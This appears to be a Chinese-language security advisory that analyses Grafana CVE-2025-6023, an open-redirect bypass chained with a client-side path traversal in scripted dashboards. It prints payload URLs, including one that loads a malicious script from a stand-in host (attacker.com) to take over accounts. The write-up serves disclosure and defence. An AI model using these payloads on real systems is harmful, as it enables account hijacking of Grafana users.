Grafana CVE-2025-6023：第 515 单元发现可导致全面账户接管的不完整修复

然而，这种部分缓解措施并未解决核心攻击载体的问题。潜在的风险依然存在：如果攻击者能找到一个易受开放重定向攻击的替代端点，那么即使在打完补丁后，相同的漏洞利用链依然存在，并可用于执行全面账户接管。考虑到这一假设，Hoa 对 Grafana 代码库进行了更深入的源代码审查。通过这项工作，他成功发现了另一个易受攻击的端点：/user/auth-tokens/rotate。

该端点用于重新生成已过期的身份验证令牌。查询参数redirectTo用于在令牌成功更新后将用户导航到目标页面。

在典型实施情况下，重定向 URL 是由Cfg.AppSubURL配置值与用户提供的redirectTo参数连接而成的。但是，在 Grafana 的默认配置中，AppSubURL是未定义的。因此，应用程序在形成重定向路径时只能依赖redirectTo的原始值。

Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.

对于这种重定向机制，Grafana 尝试通过一个名为ValidateRedirectTo 的验证函数来降低与用户提供的输入相关的安全风险，该函数旨在通过禁止路径开头的双斜线来阻止不安全的重定向目标（例如以//example.com开头的重定向目标）：

不过，正如Alvaro Balada 的原创研究中演示的那样，可以使用正斜线后接反斜线（例如/\example.com）绕过该功能，现代浏览器对该功能的解释与//example.com 类似。因此，假设用户已通过身份验证，就可以使用以下有效载荷实现开放式重定向：

/user/auth-tokens/rotate?redirectTo=/\example.com

Hoa X. Nguyen 的这一发现，以及对CVE-2025-4123的不完全修复，表明完全接管 Grafana 账户仍然是可能的。

在DashboardPageProxy 中，执行流程如下：

DashboardPageProxy返回的结果来自stateManager.fetchDashboard()方法的执行，该方法接受从 URL 路径中提取的uid、type和slug参数。为了分析该响应是如何构建的，Hoa X.Nguyen 检查了stateManager对象及其fetchDashboard()方法中的逻辑。stateManager通过getDashboardScenePageStateManager()函数实例化，该函数在以下文件中定义：

/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts

如图 2 所示，状态管理器是通过调用getDashboardScenePageStateManager()函数初始化的，不带任何参数，因此可以断定返回的对象是UnifiedDashboardScenePageStateManager类的实例。

因此，为了理解fetchDashboard() 方法的行为，他开始分析UnifiedDashboardScenePageStateManager类中的实现：

在UnifiedDashboardScenePageStateManager类中，fetchDashboard() 方法首先调用withVersionHandling()函数。该函数负责确定并返回activeManager实例。一旦构建了activeManager ，就会在该实例上调用相应的fetchDashboard()方法，并传递相关的选项参数。

activeManager实例是DashboardScenePageStateManager或DashboardScenePageStateManagerV2对象。这两个类都实现了类似的获取仪表盘数据的逻辑。以下代码摘自DashboardScenePageStateManager类：

在DashboardScenePageStateManager类的fetchDashboard ()方法中，一个开关语句用于根据路由类型确定适当的处理逻辑。在默认情况下，该方法会调用

dashboardLoaderSrv.loadDashboard(type, slug, uid, query)

该调用会启动加载请求的仪表盘的过程。loadDashboard()函数的参考实现可在以下文件中找到：

/public/app/features/dashboard/services/DashboardLoad

在loadDashboard() 函数中，会执行若干条件检查，以确定适当的处理流程。在类型设置为 "脚本 "且存在标签的特定情况下，函数会调用：

this.loadScriptedDashboard(slug)

在这里，slug（直接来自用户输入）被作为参数传递给loadScriptedDashboard() 方法。为了评估该调用的执行流程和可能引入的漏洞，Hoa 继续分析了DashboardLoaderSrvBase类中loadScriptedDashboard ()的实现：

在loadScriptedDashboard() 方法中，slug 参数（如图 2 所示）被视为文件名（字符串），并用于构建 url变量。但是，该参数没有经过正确的消毒处理。该实现应用正则表达式将所有点（.）字符替换为正斜线（/），但紧跟"js"的字符除外。这种部分过滤未能正确地对输入进行消毒，因此很容易受到路径操纵和遍历攻击。

构建 URL 后，脚本会调用getBackendSrv().get(url)，尝试加载指定的仪表盘。然后使用this.executeScript(code) 执行 检索到的脚本。

通过分析，Hoa X. Nguyen 最终在最新发布的 Grafana 中发现了一个新的客户端路径遍历 (CSPT) 漏洞。由于缺乏输入消毒或验证，攻击者可以操纵slug制作 URL，加载并执行来自外部的恶意脚本--通过仪表板脚本加载复制之前在 CVE-2025-4123 中发现的核心问题。

如果与新发现的开放重定向漏洞结合使用，这个问题就能形成一个完整的漏洞利用链，实现完全账户接管。演示此漏洞的有效载荷示例如下：

/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>

例如

/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js

恶意.js文件可被伪造，将受害者的电子邮件地址和用户名更改为攻击者控制的地址和用户名。这样，攻击者就可以向自己的电子邮件地址启动密码重置程序，最终完全接管账户：

此外，这些 CVE 还可以通过 MetaDefender 软件 Supply Chain利用MetaDefender Core 和 SBOM 来识别这些漏洞。